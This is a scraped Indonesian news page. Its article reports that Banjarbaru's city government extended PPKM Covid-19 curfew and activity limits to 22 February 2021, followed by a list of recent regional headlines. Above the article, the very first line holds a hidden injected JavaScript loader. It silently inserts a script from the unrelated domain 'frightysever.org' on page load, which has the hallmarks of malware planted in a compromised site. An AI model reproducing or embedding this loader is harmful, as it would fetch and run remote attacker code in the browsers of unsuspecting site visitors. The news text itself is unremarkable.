(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

PPKM di Banjarbaru Diperpanjang Hingga 22 Februari


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) memperpanjang masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) upaya menekan laju penyebaran Covid-19. Keputusan ini ditetapkan dalam rapat evaluasi yang digelarbdi Balai Kota Banjarbaru, Selasa (9/2/2021).

Wali Kota Banjarbaru, Darmawan Jaya Setiawan, mengungkapkan awalnya PPKM hanya diterapkan dari tanggal 1 sampai 8 Februari. Namun, berdasarkan pertimbangan bersama seluruh SKPD, Pemko Banjarbaru memutuskan memperpanjang PPKM hingga dua pekan ke depan.

“Penerapan PPKM kita perpanjang sampai tanggal 22 Februari. Ini setelah kita melakukan pertimbangan dari hasil evaluasi penerapan PPKM seminggu tadi,” kata Jaya -biasa disapa-.

Menurut Jaya, penerapan PPKM selama sepekan terakhir menunjukan hasil yang sangat bermanfaat untuk meningkatkan protokol kesehatan bagi masyarakat Banjarbaru. Hal itu dibuktikan dengan razia skala besar yang diakukan Satgas Covid-19 Banjarbaru bersama TNI Polri.

 

“Sebagian besar pelaku usaha menyambut baik dengan adanya giat ini. Mereka merasa terbantu untuk menegur para pengunjung atau konsumen mereka untuk tetap mentaati protokol kesehatan dengan adanya kehadiran para petugas melalui operasi-operasi yang dilakukan,” bebernya.

Selain itu, ujar Jaya, evaluasi dari razia yang dilakukan petugas gabungan menemukan fakta ihwal kondisi di lapangan. Salah satunya, banyak masyrakat di antaranya para remaja yang masih berada di luar rumah di atas jam 10 malam.

“Kami berharap dengan diadakannya PPKM ini para remaja yang masih suka keluar rumah lewat tengah malam memikirkan lebih baik berada di rumah saja, karena dapat meningkatkan kemungkinan hal-hal negatif untuk dirinya sendiri,” sebutnya.

Sebagaimana diketahui, penerapan PPKM di Banjarbaru mengatur adanya batasan jam operasional di seluruh tempat hiburan, tempat berbelanja, area publik, hingga tempat makan dan restoran. Yakni, seluruh tempat itu diwajibkan tutup pada pukul 22.00 Wita. (kanalkalimantan.com/rico)

Reporter: rico
Editor : bie


Al Ghifari

Recent Posts

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

3 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

7 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

23 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

1 hari ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

1 hari ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

This website uses cookies.